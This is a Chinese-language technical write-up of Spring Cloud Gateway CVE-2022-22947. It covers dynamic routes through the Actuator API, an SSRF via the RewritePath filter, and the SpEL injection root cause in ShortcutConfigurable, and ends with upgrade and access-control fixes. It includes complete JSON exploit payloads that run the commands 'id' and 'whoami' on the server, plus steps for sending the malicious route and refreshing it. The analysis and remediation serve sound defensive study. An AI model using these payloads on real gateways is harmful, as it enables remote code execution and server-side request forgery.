Java安全-CVE-2022-22947漏洞分析
字数 1673 2025-08-29 08:31:53
Spring Cloud Gateway CVE-2022-22947漏洞分析与利用
1. Spring Cloud Gateway概述
Spring Cloud Gateway是一个基于Spring Framework 5、Project Reactor和Spring Boot 2构建的API网关,旨在为微服务架构提供简单而有效的路由功能,并支持跨领域关注点如安全、监控/指标和弹性。
1.1 基本架构
- 客户端请求流程:
- 客户端向Spring Cloud Gateway发送请求
- Gateway Handler Mapping确定请求是否匹配某个路由
- 匹配的请求被发送到Gateway Web Handler
- 处理器通过特定于请求的过滤器链处理请求
- 执行所有"pre"过滤器逻辑
- 发出代理请求
- 执行所有"post"过滤器逻辑
2. 漏洞背景
2.1 自定义路由功能
Spring Cloud Gateway允许通过Actuator API动态添加路由:
- 如果配置暴露了Endpoint(通过JMX或Web)
- 可通过
/gateway接口与网关交互 - 通常这些Actuator接口位于内网或受Spring Boot Security保护
2.2 路由配置示例
官方Demo示例(缺少filters部分):
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/red/**"
}
}
],
"uri": "http://example.com"
}
3. 漏洞利用路径
3.1 内置过滤器利用
Spring Cloud Gateway提供多种内置过滤器,其中可用于SSRF的包括:
-
RewritePath过滤器:
- 执行正则表达式重写
- 示例:将
/red/blue重写为/blue
-
StripPrefix过滤器
-
SetPath过滤器
3.2 SSRF利用示例
向actuator/gateway/routes/red POST以下数据:
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/red/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/red/?(?<path>.*)",
"_genkey_1": "/${path}"
}
}
],
"uri": "http://xxxx:1234",
"order": 0
}
然后POST /actuator/gateway/refresh刷新路由,即可实现SSRF。
4. CVE-2022-22947 RCE漏洞分析
4.1 漏洞本质
- SPEL表达式注入:在路由配置解析过程中存在SpEL表达式注入漏洞
- 触发点:
org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue
4.2 漏洞利用Payload
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
4.3 漏洞触发条件
- 任何Filter或Predicate的配置值如果是合法的SpEL表达式
- 在以下情况下会触发:
- 程序启动时加载配置
- 通过
/actuator/gateway/refresh刷新路由时
4.4 更通用的利用方式
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}
],
"uri": "http://127.0.0.1:9999",
"order": 0
}
5. 漏洞修复建议
- 升级到Spring Cloud Gateway 3.1.1+或3.0.7+版本
- 限制Actuator端点的访问:
- 禁用不必要的Actuator端点
- 配置适当的访问控制
- 避免在生产环境开启Gateway的Actuator端点
6. 漏洞验证步骤
- 检查目标是否使用受影响版本的Spring Cloud Gateway
- 尝试访问
/actuator/gateway/routes端点 - 发送恶意路由配置
- 触发路由刷新
- 验证命令执行结果
7. 技术原理深入
7.1 ShortcutConfigurable接口
- 设计目的:提供快捷配置功能
- 动态路由定义:允许程序运行时定义路由,重启后失效
- 配置解析:在解析配置时会评估SpEL表达式
7.2 表达式注入流程
- 用户提交包含SpEL表达式的路由配置
- 配置被解析并存储在内存中
- 在路由加载或刷新时,
ShortcutConfigurable.getValue()方法被调用 - 方法内部使用
StandardEvaluationContext评估表达式 - 恶意表达式被执行,导致RCE
8. 参考资源
- 官方文档:https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/
- 漏洞分析:https://xz.aliyun.com/t/11033